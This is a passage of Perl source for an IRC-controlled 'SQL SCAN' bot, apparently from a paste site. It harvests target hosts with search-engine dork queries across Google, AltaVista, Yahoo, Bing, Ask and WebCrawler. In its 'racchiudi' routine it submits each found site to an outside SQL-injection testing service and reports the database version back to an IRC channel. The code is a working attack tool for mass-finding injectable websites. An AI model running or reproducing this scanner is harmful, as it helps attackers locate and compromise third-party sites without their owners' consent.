  593.                     &respond_to_privmsg($data,"15[7WEBCRAWLER15]12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
  594.                     &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
  595.                     exit(0);
  596.             }
  597.            
  598.             foreach my $pid_one ( @pids_array )
  599.             {
  600.                     waitpid($pid_one,0);
  601.             }
  602.            
  603.             @site_finded = &read_all_file_array($tmp_file_name);
  604.             &respond_to_privmsg($data,"15[7INFO15]12 TOTAL SITES FINDED: ".scalar(@site_finded)." ");
  605.             @site_cleaned = &unique(@site_finded);
  606.             &respond_to_privmsg($data,"15[7INFO15]12 CLEANED SITES FINDED: ".scalar(@site_cleaned)." ");
  607.             unlink($tmp_file_name);
  608.             return(@site_cleaned);
  609.     }
  610.      
  611.     sub canghecmd()
  612.     {
  613.             my $n = $_[0];
  614.             push(@botcmd,$n);
  615.     }
  616.      
  617.     sub read_all_file_array()
  618.     {
  619.             my $file = $_[0];
  620.             my @ret  = ();
  621.      
  622.             open(FILE,'<',$file);
  623.             while($a = <FILE>)
  624.             {
  625.                     $a =~ s/[\r\n]//g;
  626.                     push(@ret,$a);
  627.             }
  628.             close(FILE);
  629.            
  630.             return(@ret);
  631.     }
  632.      
  633.     sub write_to_file_array()
  634.     {
  635.             my ($file,$data,$scal) = @_;
  636.             for($i = 0; $i < $scal; $i++)
  637.             {
  638.                     &write_to_file($file,$data->[$i]);
  639.             }
  640.     }
  641.      
  642.     sub write_to_file()
  643.     {
  644.             my($file,$data) = @_;
  645.             open(FILE,'>>',$file);
  646.             print FILE $data . "\n";
  647.             close(FILE);
  648.     }
  649.      
  650.     sub google()
  651.     {
  652.             my $dork    = &urlencode($_[0]);
  653.             my $html    = "";
  654.             my @results = ();
  655.             my @unique_links = ();
  656.            
  657.             for($i = 0; $i < 300; $i += 100)
  658.             {
  659.                     $html .= &http_request("http://www.google.it/search?q=".$dork."&hl=it&pwst=1&start=".$i."&num=100&sa=N");
  660.             }
  661.            
  662.             while($html =~ m/<li class=g><h3 class=r><a href=\"http:\/\/(.+?)\" class=l/g)
  663.             {
  664.                     my @tmp_link = &get_all_host($1);
  665.                     push(@results,@tmp_link);
  666.             }
  667.            
  668.             @unique_links = &unique(@results);
  669.      
  670.             return(@unique_links);
  671.     }
  672.      
  673.     sub altavista()
  674.     {
  675.             my $dork    = &urlencode($_[0]);
  676.             my $html    = "";
  677.             my @results = ();
  678.             my @unique_links = ();
  679.            
  680.             for($i = 0; $i < 1000; $i += 10)
  681.             {
  682.                     $html .= &http_request("http://www.altavista.com/web/results?itag=ody&kgs=0&kls=0&q=".$dork."&stq=".$i);
  683.             }
  684.            
  685.             while($html =~ m/<span class=ngrn>(.+?) <\/span>/g)
  686.             {
  687.                     my @tmp_link = &get_all_host($1);
  688.                     push(@results,@tmp_link);
  689.             }
  690.            
  691.             @unique_links = &unique(@results);
  692.      
  693.             return(@unique_links);
  694.     }
  695.      
  696.     sub yahoo()
  697.     {
  698.             my $dork    = &urlencode($_[0]);
  699.             my $html    = "";
  700.             my @results = ();
  701.             my @unique_links = ();
  702.            
  703.             for($i = 0; $i < 1000; $i += 100)
  704.             {
  705.                     $html .= &http_request("http://search.yahooapis.com/WebSearchService/V1/webSearch?appid=SiteSearch&query=".$dork."&results=100&start=".$i);
  706.             }
  707.            
  708.             while($html =~ m/<Url>http:\/\/(.+?)\<\/Url>/g)
  709.             {
  710.                     my $link = $1;
  711.                     if($link !~ /yahoo/)
  712.                     {
  713.                             my @tmp_link = &get_all_host($link);
  714.                             push(@results,@tmp_link);
  715.                     }
  716.             }
  717.            
  718.             @unique_links = &unique(@results);
  719.      
  720.             return(@unique_links);
  721.     }
  722.      
  723.     sub msn()
  724.     {
  725.             my $dork    = &urlencode($_[0]);
  726.             my $html    = "";
  727.             my @results = ();
  728.             my @unique_links = ();
  729.            
  730.             for($i = 0; $i < 1000; $i += 10)
  731.             {
  732.                     $html .= &http_request("http://www.bing.com/search?q=".$dork."&first=".$i."&FORM=PERE");
  733.             }
  734.            
  735.             while($html =~ m/<a href=\"http:\/\/(.+?)\" onmousedown/g)
  736.             {
  737.                     my @tmp_link = &get_all_host($1);
  738.                     push(@results,@tmp_link);
  739.             }
  740.            
  741.             @unique_links = &unique(@results);
  742.      
  743.             return(@unique_links);
  744.     }
  745.      
  746.     sub ask()
  747.     {
  748.             my $dork    = &urlencode($_[0]);
  749.             my $html    = "";
  750.             my @results = ();
  751.             my @unique_links = ();
  752.            
  753.             for($i = 0; $i < 9; $i += 1)
  754.             {                              
  755.                     $html .= &http_request("http://it.ask.com/web?q=".$dork."&o=312&l=dir&qsrc=0&dm=all&page=".$i);
  756.             }
  757.            
  758.             while($html =~ m/class=\"L4\" href=\"(.+?)\" onmousedown/g)
  759.             {
  760.                     my @tmp_link = &get_all_host($1);
  761.                     push(@results,@tmp_link);
  762.             }
  763.            
  764.             @unique_links = &unique(@results);
  765.      
  766.             return(@unique_links);
  767.     }
  768.      
  769.      
  770.     sub webcrawler()
  771.     {
  772.             my $dork    = &urlencode($_[0]);
  773.             my $html    = "";
  774.             my @results = ();
  775.             my @unique_links = ();
  776.            
  777.             for($i = 0; $i < 100; $i += 10)
  778.             {                              
  779.                     $html .= &http_request("http://www.webcrawler.com/webcrawler/ws/results/Web/".$dork."/3/0/0/Relevance/zoom=off/qi=".$i."/qk=20/bepersistence=true/_iceUrlFlag=7?_IceUrl=true");
  780.             }
  781.            
  782.             while($html =~ m/target=\"_blank\">(.+?)<\/a>/g)
  783.             {
  784.                     my @tmp_link = &get_all_host($1);
  785.                     push(@results,@tmp_link);
  786.             }
  787.            
  788.             @unique_links = &unique(@results);
  789.      
  790.             return(@unique_links);
  791.     }
  792.      
  793.     sub racchiudi
  794.     {
  795.     chomp($website);
  796.     chop($website);
  797.     my $website = shift;
  798.     my $agent = WWW::Mechanize->new( autocheck => 1 );
  799.     my $formfiller = WWW::Mechanize::FormFiller->new();
  800.     $agent->env_proxy();
  801.      
  802.       $agent->get("http://nubiescript.com/demo/sqlinject/?mysql=1&vuln=1&link=$website");
  803.        $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  804.       $agent->submit();
  805.     print "ecco: $website--\n";
  806.     if ($agent->content() =~/Version\: \<font color\=red\>(.*?)<\/font>/) {
  807.                                     &respond_to_privmsg(\%msg,"15[7SERViCES15]12 Version: ".$1."  ");
  808.     print "versione ".$1." ";
  809.     }else{
  810.     $irc_socket->write("PRIVMSG ".$chans[1].": Impossibile cliccare su $website \r\n");
  811.     }
  812.     }

Reply to "SQL SCAN Bot Check"

Here you can reply to the paste above